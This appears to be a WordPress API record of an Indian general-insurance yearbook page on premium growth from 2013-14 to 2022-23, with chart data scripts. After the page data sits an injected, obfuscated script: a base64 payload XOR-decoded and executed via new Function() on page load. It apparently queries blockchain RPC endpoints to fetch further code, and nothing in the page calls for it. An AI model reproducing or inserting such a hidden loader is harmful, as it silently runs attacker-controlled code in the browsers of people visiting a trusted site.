{"id":103,"date":"2019-07-18T11:37:09","date_gmt":"2019-07-18T11:37:09","guid":{"rendered":"http:\/\/localhost\/yearbook\/?page_id=103"},"modified":"2024-01-31T07:05:29","modified_gmt":"2024-01-31T07:05:29","slug":"premium","status":"publish","type":"page","link":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/indian-non-life-insurance-industry-analysis\/section-03-industry-business-highlights\/premium\/","title":{"rendered":"3.4 &#8211; Premium"},"content":{"rendered":"\n<h4>Gross Direct Premium (GDPI)<\/h4>\n\n\n\n<p><\/p>\n\n\n\n<p>The Non-Life Insurance Industry in India has recorded CAGR of 12.73% in the period 2013-14 to 2022-23. The premium income, which was \u20b9 77,525 Crores in 2013-14, has increased substantially to \u20b9 2,56,894 Crores in 2022-23. Motor and Health segments remain the leading drivers of Premium growth.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.1<\/span>Gross Direct Premium Income - Indian Business<\/h3><div id=\"Chart_12\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        column_chart(\"Chart_12\", {\"unit\":\"\",\"data\":{\"GDPI\":{\"2013-14\":77525,\"2014-15\":84686,\"2015-16\":96379,\"2016-17\":128128,\"2017-18\":150662,\"2018-19\":169448,\"2019-20\":188916,\"2020-21\":198715,\"2021-22\":220700,\"2022-23\":256894}},\"Title\":\"Gross Direct Premium Income - Indian Business\",\"xTitle\":\"Year\",\"yTitle\":\"\\u20b9 in Crores\",\"xAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#d766fa\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p>After four years of decline, a rising trend in the GDPI growth rate is again captured from 2021- 2022.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.2<\/span>Growth Rate in Premium<\/h3><div id=\"Chart_13\" class=\"chart-div\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        multiline_chart(\"Chart_13\", {\"unit\":\"\",\"data\":{\"GDPI Growth\":{\"2013-14\":\"12.09\",\"2014-15\":\"9.2\",\"2015-16\":\"13.81\",\"2016-17\":\"32.94\",\"2017-18\":\"17.59\",\"2018-19\":\"12.47\",\"2019-20\":\"11.49\",\"2020-21\":\"5.19\",\"2021-22\":\"11.06\",\"2022-23\":\"16.4\"}},\"Title\":\"Growth Rate in Premium\",\"xTitle\":\"Year\",\"yTitle\":\"Growth in Premium (%)\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#7030a0\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n\n\n\n<p>Resumption of normal economic activity after COVID has resulted in an increase in GDPI.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<h4>Gross Written Premium (GWP)<\/h4>\n\n\n\n<p><\/p>\n\n\n\n<p>Gross Written Premium (both domestic and international business) grew by 13.85% on an annual average basis from \u20b983,027 Crores in 2013-14 to \u20b9 2,66,591 Crores in 2022-23.<\/p>\n\n\n\n<p>ECGC and AIC are included in Specialized Insurers.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.3<\/span>Gross Written Premium<\/h3><div id=\"Chart_28\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        stacked_column_chart(\"Chart_28\", {\"stacklabels\":true,\"data\":{\"General Insurers\":{\"2013-14\":76082.63,\"2014-15\":83261,\"2015-16\":93315.22,\"2016-17\":120065.53,\"2017-18\":139158.98,\"2018-19\":156373.36,\"2019-20\":170272.01,\"2020-21\":178007,\"2021-22\":193812,\"2022-23\":224319},\"Standalone Health Insurers\":{\"2013-14\":2245.14,\"2014-15\":3001,\"2015-16\":4238.6,\"2016-17\":5855.91,\"2017-18\":8333.24,\"2018-19\":11371.73,\"2019-20\":14492.91,\"2020-21\":15783,\"2021-22\":20934,\"2022-23\":26340},\"AIC\":{\"2013-14\":3395.01,\"2014-15\":2739.7,\"2015-16\":3521.22,\"2016-17\":6988.26,\"2017-18\":7896.35,\"2018-19\":6906.56,\"2019-20\":9361.2,\"2020-21\":12053,\"2021-22\":13940,\"2022-23\":14734},\"ECGC\":{\"2013-14\":1303.73,\"2014-15\":1362.4,\"2015-16\":1320.73,\"2016-17\":1267.62,\"2017-18\":1240.42,\"2018-19\":1247.54,\"2019-20\":1075.47,\"2020-21\":1062,\"2021-22\":1107,\"2022-23\":1198}},\"Title\":\"Gross Written Premium\",\"xTitle\":\"Year\",\"yTitle\":\"Rs in Crore\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#F5A0FE\",\" #AD58C9\",\" #8232AA\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.4<\/span>GWP share % by Type of Insurers<\/h3><div id=\"Chart_29\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        stacked_column_chart(\"Chart_29\", {\"stacklabels\":\"false\",\"data\":{\"General Insurers\":{\"2013-14\":91.64,\"2014-15\":92.14,\"2015-16\":91.13,\"2016-17\":89.48,\"2017-18\":88.85,\"2018-19\":88.9,\"2019-20\":87.2,\"2020-21\":86,\"2021-22\":84.34,\"2022-23\":84.14},\"Standalone Health Insurers\":{\"2013-14\":2.7,\"2014-15\":3.32,\"2015-16\":4.14,\"2016-17\":4.36,\"2017-18\":5.32,\"2018-19\":6.46,\"2019-20\":7.4,\"2020-21\":7.6,\"2021-22\":9.11,\"2022-23\":9.89},\"AIC\":{\"2013-14\":4.09,\"2014-15\":3.03,\"2015-16\":3.44,\"2016-17\":5.21,\"2017-18\":5.04,\"2018-19\":3.93,\"2019-20\":4.8,\"2020-21\":5.8,\"2021-22\":6.07,\"2022-23\":5.52},\"ECGC\":{\"2013-14\":1.57,\"2014-15\":1.51,\"2015-16\":1.29,\"2016-17\":0.94,\"2017-18\":0.79,\"2018-19\":0.71,\"2019-20\":0.55,\"2020-21\":0.55,\"2021-22\":0.48,\"2022-23\":0.45}},\"Title\":\"GWP share % by Type of Insurers\",\"xTitle\":\"Year\",\"yTitle\":\"% to Total GWP\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#D766FA\",\" #7030A0\",\" #D95D17\",\"#FFC000\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p>The split of Rural and Urban in different Segments is shown below. Values shown are \u20b9 in Crores.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.5<\/span>GDPI - Rural vs Urban<\/h3><div id=\"Chart_30\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_30\", {\"unit\":\"(\\u20b9 in Crores)\",\"data\":{\"Rural\":{\"2015-16\":21330,\"2016-17\":28611,\"2017-18\":37191,\"2018-19\":34577,\"2019-20\":42489,\"2020-21\":44741,\"2021-22\":47344,\"2022-23\":54536},\"Urban\":{\"2015-16\":75049,\"2016-17\":99518,\"2017-18\":113471,\"2018-19\":134871,\"2019-20\":146428,\"2020-21\":153974,\"2021-22\":173356,\"2022-23\":202358}},\"Title\":\"GDPI - Rural vs Urban\",\"xTitle\":\"Year\",\"yTitle\":\"GDPI (\\u20b9 in Crores)\",\"yAxisData\":{\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#F5A9FE\",\" #873DB0\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n\n\n\n<p><\/p>\n\n\n\n<h4>Net Written Premium &amp; Net Earned Premium (NWP &amp; NEP)<\/h4>\n\n\n\n<p><\/p>\n\n\n\n<p>Net Written Premium (NWP) grew at a CAGR of 11.48% from \u20b9 64,864 Crores in 2013-14 to \u20b9 1,92,333 Crores in 2022-23. Similarly, Net Earned Premium (NEP) grew at a CAGR of 11.59% from \u20b9 60,010 Crores in 2013-14 to \u20b9 1,79,678 Crores in 2022- 23. NEP as a percentage of NWP has been consistently above 90% for the period under review.<\/p>\n\n\n\n<p><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.4.6<\/span>Net Written Premium & Net Earned Premium Growth<\/h3><div id=\"Chart_32\"><\/div><script type=\"text\/javascript\">\n                     jQuery(document).ready(function () {\n                         multiple_column_line(\"Chart_32\",{\"data\":{\"Net Written Premium\":{\"2013-14\":64864,\"2014-15\":71300,\"2015-16\":81450,\"2016-17\":94178,\"2017-18\":107411,\"2018-19\":120386,\"2019-20\":130187,\"2020-21\":147038,\"2021-22\":165514,\"2022-23\":192333},\"Net Earned Premium\":{\"2013-14\":60010,\"2014-15\":67428,\"2015-16\":75878,\"2016-17\":88725,\"2017-18\":100453,\"2018-19\":113334,\"2019-20\":126178,\"2020-21\":137620,\"2021-22\":158002,\"2022-23\":179678}},\"Title\":\"Net Written Premium & Net Earned Premium Growth\",\"xTitle\":\"Year\",\"yTitle\":\"\\u20b9 in Crore\",\"zTitle\":\"NEP as % of NWP\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"zAxisData\":{\"2013-14\":92.5,\"2014-15\":94.6,\"2015-16\":93.2,\"2016-17\":94.2,\"2017-18\":93.5,\"2018-19\":94.1,\"2019-20\":96.9,\"2020-21\":93.6,\"2021-22\":95.5,\"2022-23\":93.4},\"colorLine\":\" #FF33CC\",\"colorCodes\":{\"1\":\"#F5A9FE\",\"2\":\" #7030A0\"}});\n                     });\n                 <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gross Direct Premium (GDPI) The Non-Life Insurance Industry in India has recorded CAGR of 12.73% in the period 2013-14 to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":529,"menu_order":4,"comment_status":"closed","ping_status":"closed","template":"page-templates\/full-width.php","meta":[],"_links":{"self":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/103"}],"collection":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/comments?post=103"}],"version-history":[{"count":55,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/103\/revisions"}],"predecessor-version":[{"id":3626,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/103\/revisions\/3626"}],"up":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/529"}],"wp:attachment":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/media?parent=103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
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!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgIQVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>
    